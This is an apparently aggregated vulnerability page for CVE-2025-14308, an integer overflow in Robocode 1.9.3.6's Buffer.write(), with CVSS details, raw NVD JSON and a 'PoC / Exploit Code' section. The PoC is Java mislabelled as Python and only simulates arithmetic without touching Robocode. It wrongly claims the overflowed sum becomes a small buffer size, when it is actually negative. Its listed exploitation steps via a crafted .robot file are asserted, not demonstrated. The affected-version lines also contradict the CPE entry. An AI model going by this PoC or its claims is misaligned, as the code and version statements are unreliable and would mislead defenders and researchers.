Security Vulnerability Report
中文
CVE-2025-14308 CVSS 9.8 CRITICAL

CVE-2025-14308

Published: 2025-12-09 16:17:39
Last Modified: 2026-01-05 16:20:41

Description

An integer overflow vulnerability exists in the write method of the Buffer class in Robocode version 1.9.3.6. The method fails to properly validate the length of data being written, allowing attackers to cause an overflow, potentially leading to buffer overflows and arbitrary code execution. This vulnerability can be exploited by submitting specially crafted inputs that manipulate the data length, leading to potential unauthorized code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:robocode:robocode:1.9.3.6:*:*:*:*:*:*:* - VULNERABLE
Robocode < 1.9.3.6 (所有受影响版本)
Robocode 1.9.3.6 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14308 PoC - Integer Overflow in Robocode Buffer.write() // This PoC demonstrates how to trigger the integer overflow vulnerability import java.nio.ByteBuffer; public class CVE_2025_14308_PoC { public static void main(String[] args) { try { // Simulate the vulnerable Buffer.write() method // The vulnerability occurs when length parameter causes integer overflow int maliciousLength = Integer.MAX_VALUE; // 2147483647 int dataSize = 1024; // Actual data size // Integer overflow in buffer size calculation // Expected: maliciousLength + headerSize // Actual: due to overflow, becomes a small value int headerSize = 4; int calculatedSize = maliciousLength + headerSize; System.out.println("[*] CVE-2025-14308 Integer Overflow PoC"); System.out.println("[*] Malicious length: " + maliciousLength); System.out.println("[*] Calculated buffer size (overflow): " + calculatedSize); System.out.println("[*] Actual needed size: " + (maliciousLength + headerSize)); if (calculatedSize < maliciousLength) { System.out.println("[!] Integer overflow detected!"); System.out.println("[!] Buffer size too small, will cause overflow"); // Demonstrate buffer overflow scenario byte[] smallBuffer = new byte[calculatedSize]; byte[] maliciousData = new byte[dataSize]; // Fill with pattern for verification for (int i = 0; i < dataSize; i++) { maliciousData[i] = (byte) 0x41; // 'A' } // This would cause buffer overflow in vulnerable version // System.arraycopy(maliciousData, 0, smallBuffer, 0, maliciousLength); System.out.println("[!] PoC demonstrates integer overflow condition"); } } catch (Exception e) { System.err.println("[!] Error: " + e.getMessage()); } } } // Exploitation steps: // 1. Attacker crafts a robot (.robot) file with malicious buffer size // 2. Victim loads the robot file in vulnerable Robocode version // 3. The Buffer.write() method processes the malicious length // 4. Integer overflow occurs during buffer allocation // 5. Buffer overflow allows arbitrary code execution

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14308", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:38.797", "lastModified": "2026-01-05T16:20:40.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow vulnerability exists in the write method of the Buffer class in Robocode version 1.9.3.6. The method fails to properly validate the length of data being written, allowing attackers to cause an overflow, potentially leading to buffer overflows and arbitrary code execution. This vulnerability can be exploited by submitting specially crafted inputs that manipulate the data length, leading to potential unauthorized code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:D/RE:M/U:Red", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:robocode:robocode:1.9.3.6:*:*:*:*:*:*:*", "matchCriteriaId": "838ABFF5-2DF6-4A7E-933B-179FB2FC1AE0"}]}]}], "references": [{"url": "https://github.com/robo-code/robocode/pull/70", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}